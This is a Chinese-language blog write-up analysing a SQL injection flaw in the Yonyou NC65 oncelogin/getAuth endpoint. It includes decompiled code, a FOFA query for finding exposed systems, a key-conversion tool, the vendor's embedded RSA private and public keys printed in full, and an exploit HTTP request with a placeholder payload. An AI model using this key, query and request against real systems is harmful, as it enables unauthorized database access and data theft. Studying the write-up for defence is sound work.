用友NC oncelogin/getAuth SQL注入漏洞


漏洞简介

用友NC系统的 oncelogin/getAuth 接口存在 SQL注入漏洞。攻击者可通过构造恶意的 SQL 语句注入请求参数,绕过身份验证或获取数据库敏感信息,进而可能导致任意数据读取、篡改甚至系统权限提升,影响系统的安全性和数据完整性。

影响版本

NC65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

根据漏洞通告可知漏洞点在oncelogin

直接看OnceLoginAction类的getAuth方法的实现逻辑吧

@Servlet(path="/oncelogin")
public class OnceLoginAction
extends BaseAction {
....
@Action
public void getAuth() throws BusinessException {
    String key = "serverPathOK";
    JSONObject jsonRoot = this.buidJSON(key, null);
    String param = this.request.getParameter("param");
    param = RSACrypto.getInstance().decipher(param);
    String user_code = null;
    if (param.contains("user_code")) {
        user_code = param.substring(param.indexOf("user_code=") + 10, param.indexOf("&"));
    }
    if (StringUtils.isEmpty(user_code)) {
        return;
    }
    String serverPathOK = "";
    String path = CommonUtils.getServerPath();
    PersonsynVO ps = ((IPersonsynQueryService)NCLocator.getInstance().lookup(IPersonsynQueryService.class)).queryPersonsynByImUserName(user_code);

参数param首先需要经过RSACrypto.getInstance().decipher解密,跟进RSA的decipher方法看下

RSA加解密

public String decipher(String content) {
    InputStream fis = null;
    ObjectInputStream ois = null;
    try {
        if (content == null || content.equals("")) {
            String string = null;
            return string;
        }
        byte[] base64Code = Base64.decodeBase64((byte[])content.getBytes("UTF-8"));
        BigInteger c = new BigInteger(base64Code);
        fis = RSACrypto.class.getResourceAsStream("Skey_RSA_PRIV.dat");
        ois = new ObjectInputStream(fis);
        RSAPrivateKey prk = (RSAPrivateKey)ois.readObject();
        BigInteger d = prk.getPrivateExponent();
        BigInteger n = prk.getModulus();
        BigInteger m = c.modPow(d, n);
        String string = new String(m.toByteArray(), "UTF-8");
        return string;
    }

根据代码的ObjectInputStream可知:

  • Skey_RSA_PRIV.dat 文件里存储的是一个RSAPrivateKey对象的序列化结果。
  • 可以通过Java反序列化直接还原出RSAPrivateKey对象。

现在是去找到这个序列化的私钥,然后还原成我们常见的证书格式如-----BEGIN PRIVATE KEY-----这种,根据decipher的方法包路径 /nc/bs/oa/oaco/im/RSACrypto.java 直接在用友 /modules/oaco/lib 目录下的 puboaco_instantmessage.jar 包找到了 Skey_RSA_PRIV.dat 和 Skey_RSA_PUB.dat

查看下内容,果然是序列化的对象

ok,找到了,我们让AI写一个Java来还原

import java.io.*;
import java.security.Key;
import java.util.Base64;

public class NC_RSA_KEY_CONVERT {
    public static void main(String[] args) {
        String filename = "Skey_RSA_PUB.dat";
        if (args.length > 0 && args[0] != null && !args[0].trim().isEmpty()) {
            filename = args[0];
        }
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename))) {
            Object obj = ois.readObject();
            if (obj instanceof Key) {
                Key key = (Key) obj;
                System.out.println("算法名 (Algorithm): " + key.getAlgorithm());
                System.out.println("编码格式 (Format): " + key.getFormat());
                System.out.println("类型 (Type): " + key.getClass().getSimpleName());
                byte[] encoded = key.getEncoded();

                // 输出PEM格式
                String base64 = Base64.getEncoder().encodeToString(encoded);
                String type = getPemType(filename);
                System.out.println("\n-----BEGIN " + type + " KEY-----");
                printPem(base64);
                System.out.println("-----END " + type + " KEY-----");
            } else {
                System.out.println("不是Key类型,实际类型是: " + obj.getClass().getName());
            }
        } catch (Exception e) {
            System.err.println("读取或解析失败: " + e);
            e.printStackTrace();
        }
    }

    private static String getPemType(String filename) {
        String upper = filename.toUpperCase();
        if (upper.contains("PUB")) {
            return "PUBLIC";
        } else if (upper.contains("PRIV")) {
            return "PRIVATE";
        } else {
            return "";
        }
    }

    private static void printHex(byte[] data) {
        for (int i = 0; i < data.length; i++) {
            System.out.printf("%02X", data[i]);
            if ((i + 1) % 16 == 0) System.out.println();
            else System.out.print(" ");
        }
        System.out.println();
    }

    private static void printPem(String base64) {
        int lineLen = 64;
        for (int i = 0; i < base64.length(); i += lineLen) {
            int end = Math.min(i + lineLen, base64.length());
            System.out.println(base64.substring(i, end));
        }
    }
}

然后 javac NC_RSA_KEY_CONVERT.java 编译,再执行 java NC_RSA_KEY_CONVERT Skey_RSA_PRIV.dat 即可得到常见rsa证书格式

tmp# java NC_RSA_KEY_CONVERT Skey_RSA_PRIV.dat
算法名 (Algorithm): RSA
编码格式 (Format): PKCS#8
类型 (Type): RSAPrivateCrtKeyImpl

-----BEGIN PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAJfmPzz4SmfMMNcG
WX3J4EyBrAsB33rTQ/JmFFWac34Y2Irrvfd8qRrcseJwFlIGGjg3lCerpHGPy4P4
BN4Wpzj4mHBycgvjRkmb8omVqnpZBtv1Lr3tuTrOIV4oeXI/93/8IbbU4VScPX6X
S6pZpKoYhl4u2hbiTxsnc+Rjh+eXAgMBAAECgYEAlhr+5QZLqNUccnCg4PAsyg3e
cKYyLNM3MwPzFkDh3ns5Cdc6S6YSCiyLUMQJGpdTM7ignK8+esZpjAj87mceaWVR
y+or+9uBwzaWaJCf6FRKzFFapekLhzRuWT4OiqwG5bPpf9hogVMKf4DXg+FIzgTt
kHM9VcYLhWwvifULFbkCQQDJrHyuVsfXAVlKffTZIVBnD+ykfTzFXwTgVWuqwVQy
mSsbzULbcsOkR1F4mmecdkz4uPmezjNuSsBAizgbVy4FAkEAwNFMC7OM2JhJRLFs
TGYXFdEQWkyLCX2VfWL31G8sEBsG6x/YXajbPrHvhVo6N6Z6gs2/QRawDGs+G0DE
I6VV6wJBAMPsIiRsgjBKSyinPRtD1gyJ1+flEwjbyqz1z2dP8jBFxS95NZ5j29TY
xDlaJ5ZFB3oKmdbBlA1t6V/K4HMPOtECQHWbs8y3WcOLL7WMmsgGxTHzcQwDABNr
3FC8mvmiTbgNJC0qIWkPY5tcIQKvxC7JhpReNrfWxM7uYtVwrbIoWL0CQCdyASkB
HbmomKnm+gyixwsD2j6uMpliQ3//ZjJWLo7IVzk6OrQFCOjcE91IB+BLo014h1Ro
P6/ZCPAeaFCVlAg=
-----END PRIVATE KEY-----

以及公钥(我们加密需要)

tmp# java NC_RSA_KEY_CONVERT Skey_RSA_PUB.dat
算法名 (Algorithm): RSA
编码格式 (Format): X.509
类型 (Type): RSAPublicKeyImpl

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCX5j88+EpnzDDXBll9yeBMgawL
Ad9600PyZhRVmnN+GNiK6733fKka3LHicBZSBho4N5Qnq6Rxj8uD+ATeFqc4+Jhw
cnIL40ZJm/KJlap6WQbb9S697bk6ziFeKHlyP/d//CG21OFUnD1+l0uqWaSqGIZe
LtoW4k8bJ3PkY4fnlwIDAQAB
-----END PUBLIC KEY-----

继续往下看

SQL注入

String user_code = null;
if (param.contains("user_code")) {
    user_code = param.substring(param.indexOf("user_code=") + 10, param.indexOf("&"));
}
if (StringUtils.isEmpty(user_code)) {
    return;
}
String serverPathOK = "";
String path = CommonUtils.getServerPath();
PersonsynVO ps = ((IPersonsynQueryService)NCLocator.getInstance().lookup(IPersonsynQueryService.class)).queryPersonsynByImUserName(user_code);

参数param值经过解密后,判断是否包含user_code,如果不包含就会直接退出,否则提取user_code=后至&之间的内容带入queryPersonsynByImUserName方法,跟进queryPersonsynByImUserName方法看下它的实现

public PersonsynVO queryPersonsynByImUserName(String imUserName) throws BusinessException {
    String whereCondStr = "imname='" + imUserName + "'";
    Collection personsyns = this.getOaQueryService().queryBillOfVOByCond(PersonsynVO.class, whereCondStr, true);
    if (personsyns != null && personsyns.size() > 0 && personsyns.iterator().hasNext()) {
        return (PersonsynVO)personsyns.iterator().next();
    }
    return null;
}

到这里,整个漏洞形成原因也就明了了,参数param值经过解密后提取user_code=后至&之间的内容被直接拼接在imname=' 后面,无任何过滤或校验,因此造成了SQL注入漏洞。

漏洞复现

需注意NC65 大多数为Oracle 少数MSSQL

将payload使用rsa公钥加密

出击!

POST /portal/pt/oncelogin/getAuth?pageId=login HTTP/1.1
Host: nc.mrxn.net
Content-Type: application/x-www-form-urlencoded

param=RSA_ENC_SQLI_POC

通过报错注入成功在响应回显当前数据库用户!

PS: 也属于老洞了,其实在年初就检测到有此漏洞攻击,一直懒 没看-_- 不过官方发公告了,那我也就浅析下。

其他用友相关漏洞分析:https://mrxn.net/?keyword=%E7%94%A8%E5%8F%8B

参考


手机扫码阅读

金和OA CallSystemReadOver.aspx SQL注入漏洞

西部数码 NAS jqueryFileTree.php 命令执行漏洞

评 论